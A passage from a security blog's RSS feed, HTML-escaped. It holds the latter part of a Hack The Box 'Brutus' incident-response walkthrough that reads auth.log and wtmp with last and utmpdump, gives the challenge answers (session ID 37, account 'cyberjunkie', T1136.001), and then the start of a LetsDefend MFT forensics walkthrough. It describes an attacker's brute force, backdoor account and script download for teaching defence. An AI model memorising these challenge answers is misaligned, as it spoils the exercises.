&lt;code&gt;-F&lt;/code&gt; argument.&lt;/p&gt;&#xA;&lt;p&gt;last -F -f wtmp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;f1c9685ffef891ba6a4e273eeca98221_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;831px&#34; data-flex-grow=&#34;346&#34; height=&#34;231&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/f1c9685ffef891ba6a4e273eeca98221_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;last command output in REMnux&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e8ed646393b8533cdc69b1d3ef4e30ae_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;849px&#34; data-flex-grow=&#34;353&#34; height=&#34;226&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/e8ed646393b8533cdc69b1d3ef4e30ae_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;last command using WSL&lt;/p&gt;&#xA;&lt;p&gt;We’re getting closer but notice that the timestamp doesn’t quite match what we found in &lt;code&gt;auth.log&lt;/code&gt;. While we can assume that there’s a mismatch between the system time and the local time, let’s try interpreting &lt;code&gt;wtmp&lt;/code&gt; another way using a different utility, &lt;code&gt;utmpdump&lt;/code&gt;. According to the &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/focal/man1/utmpdump.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;manpages&lt;/a&gt;, &lt;code&gt;utmpdump&lt;/code&gt; is “&lt;em&gt;a simple program to dump UTMP and WTMP files in raw format, so they can be examined.&lt;/em&gt;” Let’s try it out and see what we can discover.&lt;/p&gt;&#xA;&lt;p&gt;utmpdump wtmp&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;200d49bd056fbb1a0d96dd1b09a3094d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;509px&#34; data-flex-grow=&#34;212&#34; height=&#34;377&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/200d49bd056fbb1a0d96dd1b09a3094d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;utmpdump in REMnux&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07e20498527b721e34845bc20c6c55a0_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;448px&#34; data-flex-grow=&#34;186&#34; height=&#34;428&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/07e20498527b721e34845bc20c6c55a0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;utmpdump in WSL&lt;/p&gt;&#xA;&lt;p&gt;Bingo! By dumping the &lt;code&gt;wtmp&lt;/code&gt; with &lt;code&gt;utmpdump&lt;/code&gt; we can locate the correct timestamp for the attacker’s login to the server. Now that we’ve established a firm timeline, let’s proceed with our investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;392a14d19a4358a87c4c2246d9310e12_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/392a14d19a4358a87c4c2246d9310e12_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-ssh-login-sessions-are-tracked-and-assigned-a-session-number-upon-login-what-is-the-session-number-assigned-to-the-attackers-session-for-the-user-account-from-question2&#34;&gt;Question 4: SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker’s session for the user account from Question 2?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we’ve identified the timestamp of the attacker’s login, let’s find the corresponding timestamp of the SSH session in the &lt;code&gt;auth.log&lt;/code&gt; on line 322. Examining the nearby events more closely, we can see that on line 324, the new session is assigned the ID 37.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d4335212474fbc2babe244f57718366c_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;600px&#34; data-flex-grow=&#34;250&#34; height=&#34;320&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/d4335212474fbc2babe244f57718366c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the attacker’s session ID in auth.log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7dfa42451aad97ceb8ac12518a6bf76d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1523px&#34; data-flex-grow=&#34;634&#34; height=&#34;126&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/7dfa42451aad97ceb8ac12518a6bf76d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-the-attacker-added-a-new-user-as-part-of-their-persistence-strategy-on-the-server-and-gave-this-new-user-account-higher-privileges-what-is-the-name-of-thisaccount&#34;&gt;Question 5: The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?&#xA;&lt;/h3&gt;&lt;p&gt;When analyzing the &lt;code&gt;wtmp&lt;/code&gt; in &lt;strong&gt;Question 3&lt;/strong&gt;, you may have noticed another user account other than &lt;code&gt;root&lt;/code&gt; present in the logs from the attacker’s IP address — &lt;strong&gt;cyberjunkie&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d9fa1f9351bc7c62ace12be35f683f77_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;520px&#34; data-flex-grow=&#34;216&#34; height=&#34;369&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/d9fa1f9351bc7c62ace12be35f683f77_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;utmpdump in REMnux highlighting a second user account&lt;/p&gt;&#xA;&lt;p&gt;Let’s double-verify this finding in the &lt;code&gt;auth.log&lt;/code&gt; by searching for this username where we can confirm the activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;68c46d328b942376c1aa20b84f28fe7b_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;408px&#34; data-flex-grow=&#34;170&#34; height=&#34;470&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/68c46d328b942376c1aa20b84f28fe7b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Searching the auth.log for activities from the cyberjunkie account&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;374fa0c4b47b3c0b464242220b884d2f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1613px&#34; data-flex-grow=&#34;672&#34; height=&#34;119&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/374fa0c4b47b3c0b464242220b884d2f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-mitre-attck-sub-technique-id-used-for-persistence-by-creating-a-newaccount&#34;&gt;Question 6: What is the MITRE ATT&amp;amp;CK sub-technique ID used for persistence by creating a new account?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we understand the attacker brute-forced access to the &lt;code&gt;root&lt;/code&gt; account and created a second account, &lt;code&gt;cyberjunkie&lt;/code&gt;, for persistence, we need to map this technique to &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; for additional intelligence.&lt;/p&gt;&#xA;&lt;p&gt;After navigating to the &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MITRE ATT&amp;amp;CK&lt;/a&gt; website, we can evaluate the techniques listed under the persistence tactics. Eventually we’ll stumble across the technique “&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1136/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Create Account” (T1136)&lt;/a&gt; which seems to fit. On the page for this technique, we can evaluate the various sub-techniques, such as &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1136/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;“Local Account” (T1136.001)&lt;/a&gt;, leading us to the answer for &lt;strong&gt;Question 6&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1388e65cf27953e56d0232c10e5f288e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;637px&#34; data-flex-grow=&#34;265&#34; height=&#34;301&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/1388e65cf27953e56d0232c10e5f288e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MITRE ATT&amp;amp;CK — Create Account (T1136) — Sub-Techniques&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1136/001/&#34;  title=&#34;https://attack.mitre.org/techniques/T1136/001/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Create Account: Local Account&lt;/strong&gt;&#xA;_Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an…_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1136/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5feaa70da59b5ef5433013da26350349_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1586px&#34; data-flex-grow=&#34;661&#34; height=&#34;121&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/5feaa70da59b5ef5433013da26350349_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-time-did-the-attackers-first-ssh-session-end-according-to-authlog&#34;&gt;Question 7: What time did the attacker’s first SSH session end according to auth.log?&#xA;&lt;/h3&gt;&lt;p&gt;Now, let’s jump back to &lt;code&gt;auth.log&lt;/code&gt; and analyze when the attacker’s first SSH session as the &lt;code&gt;root&lt;/code&gt; user ended. In the log, we’ll search for “disconnect” events from the attacker’s IP, which we can find on lines 355–359.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;3a9fec6d8390d3f94b003f512c728ebc_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/3a9fec6d8390d3f94b003f512c728ebc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;auth.log snippet showing SSH session disconnect&lt;/p&gt;&#xA;&lt;p&gt;For double verification, we also stumbled upon this answer when we used &lt;code&gt;last&lt;/code&gt; to read the &lt;code&gt;wtmp&lt;/code&gt; log back in &lt;strong&gt;Question 3&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;068c3a8930ddbc9ae2354ac01904931d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;830px&#34; data-flex-grow=&#34;346&#34; height=&#34;208&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/068c3a8930ddbc9ae2354ac01904931d_MD5.png&#34; width=&#34;720&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Validating the session logout time in the wtmp log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;fc5c1e20df56d4780c0f4519c41d8251_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/fc5c1e20df56d4780c0f4519c41d8251_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-the-attacker-logged-into-their-backdoor-account-and-utilized-their-higher-privileges-to-download-a-script-what-is-the-full-command-executed-usingsudo&#34;&gt;Question 8: The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?&#xA;&lt;/h3&gt;&lt;p&gt;For the final question of our investigation, let’s continue searching &lt;code&gt;auth.log&lt;/code&gt; for activities performed by the &lt;code&gt;cyberjunkie&lt;/code&gt; account, focusing specifically on events marked with &lt;code&gt;sudo&lt;/code&gt;, or superuser, privileges.&lt;/p&gt;&#xA;&lt;p&gt;On line 375, we’ll find something interesting: a command string leveraging &lt;code&gt;curl&lt;/code&gt; to download a script from a &lt;strong&gt;GitHub&lt;/strong&gt; repository.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;845cd5a4654b9a5f7933378176a10d3e_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;909px&#34; data-flex-grow=&#34;379&#34; height=&#34;211&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/845cd5a4654b9a5f7933378176a10d3e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;auth.log snippet exposing malicious ingress tool transfer (&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;T1105&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;p&gt;While out of scope for this challenge, the downloaded script seems to be a Linux persistence tool which would allow the attacker to maintain their access to the compromised server. From a defense perspective, having this knowledge gives us an idea of the attacker’s next moves.&lt;/p&gt;&#xA;&lt;p&gt;However, for the purposes of this challenge the command we found is all we need to answer &lt;strong&gt;Question 8&lt;/strong&gt; and conclude the investigation. Great job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;7f7c17e2215300974997bf516d5545a3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1600px&#34; data-flex-grow=&#34;666&#34; height=&#34;120&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/7f7c17e2215300974997bf516d5545a3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;0d6cf5f9283615bce8cf059acfbde092_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;261px&#34; data-flex-grow=&#34;109&#34; height=&#34;733&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/0d6cf5f9283615bce8cf059acfbde092_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Case closed!&lt;/strong&gt; Using the server’s &lt;code&gt;auth.log&lt;/code&gt; and &lt;code&gt;wtmp&lt;/code&gt; logs, we successfully identified the time of the attack, the attacker’s IP address, the compromised account, and their methods of persistence. During the investigation, we turned to MITRE ATT&amp;amp;CK to gain deeper insights into each technique, helping us better understand the adversary’s tactics and techniques. Now that we have scoped the attack and achieved our objectives, let’s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Brutus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Brutus&lt;/strong&gt;&lt;/a&gt; challenge.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Hack The Box&lt;/strong&gt;&lt;/a&gt;, for another engaging and realistic challenge. I chose this challenge as I was unfamiliar with the &lt;code&gt;wtmp&lt;/code&gt; logs and what additional artifacts they contain compared to the &lt;code&gt;auth.log&lt;/code&gt;. It was incredibly fun and valuable to learn about these logs and how to read them using &lt;code&gt;last&lt;/code&gt; and &lt;code&gt;utmpdump&lt;/code&gt;. The hands-on practice will absolutely come in handy during real-world during incident response. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your security journey. Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week’s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;07670987b1c64247f60a1576b9626235_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/hackthebox-brutus-sherlock-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.hackthebox.com/sherlocks/Brutus&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.hackthebox.com/sherlocks/Brutus&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Brute Force (T1110):&lt;/strong&gt;&lt;/a&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1110/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Brute Force: Password Guessing (T1110.001)&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1110/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1110/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Manpages — last:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/focal/man1/last.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/focal/man1/last.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Ubuntu Manpages - utmpdump:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://manpages.ubuntu.com/manpages/focal/man1/utmpdump.1.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://manpages.ubuntu.com/manpages/focal/man1/utmpdump.1.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Create Account: Local Account (T1136.001):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1136/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1136/001/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Ingress Tool Transfer (T1105):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1105/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1105/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — NTFS Forensics Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/</link>
            <pubDate>Sun, 09 Mar 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — NTFS Forensics Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--ntfs-forensics-challenge-walkthrough&#34;&gt;LetsDefend — NTFS Forensics Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-compromised-endpoints-mft-using-mftexplorer&#34;&gt;Investigating a Compromised Endpoint&amp;rsquo;s $MFT Using MFTExplorer&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/ntfs-forensics&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;NTFS Forensics&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. Prepare to dive into the world of digital forensics and incident response (DFIR) as we uncover the malware artifacts hidden in the Master File Table.&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;&lt;em&gt;As a digital forensics analyst with over a decade of experience, you are the go-to person in your organization for Windows disk forensics. Recently, an alert was triggered on a critical server used by administrators as a jump server. This server is frequently accessed for credential management and other sensitive operations, making it a high-value target. It has now been compromised. You are provided with only the Master File Table (MFT) of the endpoint. Your task is to uncover the actions taken by the threat actors on the endpoint.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re stepping into the shoes of a seasoned digital forensics analyst as a high-value server has been compromised. Our goal is to analyze the provided artifacts, uncovering critical details about the attack including the initial access method, how the malware got there, what it did after execution, and understand the indicators of compromise.&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s just one small problem: we are only provided the &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows/win32/fileio/master-file-table&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Master File Table (MFT)&lt;/strong&gt;&lt;/a&gt; database of the Windows-based endpoint, so we&amp;rsquo;ll need familiarize ourselves with a utility like Eric Zimmerman&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MFTExplorer&lt;/strong&gt;&lt;/a&gt; to parse the MFT database and analyze the metadata within. Throughout our investigation, we&amp;rsquo;ll enrich our findings with external documentation from &lt;strong&gt;Microsoft Learn&lt;/strong&gt; to have a comprehensive view of the attack.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s work through this investigation together. If you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this. Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-identify-the-malicious-downloaded-file-what-is-the-filename&#34;&gt;Question 1: Identify the malicious downloaded file. What is the file name?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s dive right into this challenge! We&amp;rsquo;ll kick it off by extracting the challenge file from the archive in the &lt;strong&gt;ChallengeFile&lt;/strong&gt; folder, leaving us with a curious file, &lt;code&gt;$MFT&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;542px&#34; data-flex-grow=&#34;225&#34; height=&#34;354&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-ntfs-forensics-challenge-walkthrough/c9b15a68eccf5c52a94fb5524ba59baa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you aren&amp;rsquo;t familiar with the &lt;strong&gt;MFT&lt;/strong&gt;, 